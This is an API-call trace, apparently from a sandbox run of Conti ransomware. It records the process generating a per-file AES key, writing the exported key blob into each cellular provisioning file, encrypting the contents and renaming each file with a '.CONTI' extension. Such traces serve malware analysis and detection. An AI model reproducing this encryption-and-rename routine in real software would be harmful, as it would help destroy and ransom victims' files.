	[0109.948] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.949] GetLastError () returned 0x0
	[0109.949] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=640) returned 1
	[0109.949] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x280
	[0109.949] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.949] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.949] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.949] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.949] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b42084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b42084*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.951] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.951] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x280, lpOverlapped=0x0) returned 1
	[0109.951] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x280, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x290) returned 1
	[0109.951] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.951] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x290, lpOverlapped=0x0) returned 1
	[0109.951] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.951] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b42078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b42078*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.951] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.951] CloseHandle (hObject=0x3ac) returned 1
	[0109.951] GetProcessHeap () returned 0x1720000
	[0109.951] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.951] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml"
	[0109.951] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.951] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.952] GetProcessHeap () returned 0x1720000
	[0109.952] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.952] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0109.952] GetProcessHeap () returned 0x1720000
	[0109.952] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e15a0 | out: hHeap=0x1720000) returned 1
	[0109.952] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.952] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b76d38 | out: phKey=0x6b76d38*=0x6b7f0b8) returned 1
	[0109.952] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b76d3c, pdwDataLen=0x433f9bc | out: pbData=0x6b76d3c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.953] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml")) returned 0x20
	[0109.953] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.953] GetLastError () returned 0x0
	[0109.953] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=744) returned 1
	[0109.953] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e8
	[0109.953] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.953] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.954] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.954] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.954] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b76d3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b76d3c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0110.476] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.476] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2e8, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2e8, lpOverlapped=0x0) returned 1
	[0110.476] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e8, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2f0) returned 1
	[0110.476] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.476] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2f0, lpOverlapped=0x0) returned 1
	[0110.476] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.476] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b76d30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b76d30*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0110.476] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.476] CloseHandle (hObject=0x3ac) returned 1
	[0110.476] GetProcessHeap () returned 0x1720000
	[0110.476] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.730] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml"
	[0110.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml.CONTI"
	[0110.730] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml.conti")) returned 1
	[0110.730] GetProcessHeap () returned 0x1720000
	[0110.730] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.731] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0110.731] GetProcessHeap () returned 0x1720000
	[0110.731] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b729e8 | out: hHeap=0x1720000) returned 1
	[0110.731] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0110.731] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6569f18 | out: phKey=0x6569f18*=0x17c7ab0) returned 1
	[0110.731] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6569f1c, pdwDataLen=0x433f9bc | out: pbData=0x6569f1c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0110.731] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.732] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0110.732] GetLastError () returned 0x0
	[0110.732] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=639) returned 1
	[0110.732] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27f
	[0110.732] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.732] SetEndOfFile (hFile=0x2ec) returned 1
	[0110.732] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.732] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.732] WriteFile (in: hFile=0x2ec, lpBuffer=0x6569f1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6569f1c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0110.738] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.738] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x27f, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x27f, lpOverlapped=0x0) returned 1
	[0110.738] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x27f, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x280) returned 1
	[0110.739] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.739] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x280, lpOverlapped=0x0) returned 1
	[0110.739] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.739] WriteFile (in: hFile=0x2ec, lpBuffer=0x6569f10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6569f10*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0110.739] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.739] CloseHandle (hObject=0x2ec) returned 1
	[0110.739] GetProcessHeap () returned 0x1720000
	[0110.739] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.739] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml"
	[0110.739] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.739] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\343__connections_cellular_q-tel (qatar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.740] GetProcessHeap () returned 0x1720000
	[0110.740] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.740] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0110.740] GetProcessHeap () returned 0x1720000
	[0110.740] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6567480 | out: hHeap=0x1720000) returned 1
	[0110.740] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0110.740] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x656aa80 | out: phKey=0x656aa80*=0x17c7770) returned 1
	[0110.740] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656aa84, pdwDataLen=0x433f9bc | out: pbData=0x656aa84*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0110.741] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.741] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0110.741] GetLastError () returned 0x0
	[0110.741] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=725) returned 1
	[0110.741] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d5
	[0110.741] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.741] SetEndOfFile (hFile=0x2ec) returned 1
	[0110.742] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.742] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.742] WriteFile (in: hFile=0x2ec, lpBuffer=0x656aa84*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x656aa84*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0110.749] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.749] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2d5, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2d5, lpOverlapped=0x0) returned 1
	[0110.749] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d5, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e0) returned 1
	[0110.749] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.749] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.749] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.749] WriteFile (in: hFile=0x2ec, lpBuffer=0x656aa78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x656aa78*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0110.749] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.749] CloseHandle (hObject=0x2ec) returned 1
	[0110.749] GetProcessHeap () returned 0x1720000
	[0110.749] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.749] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml"
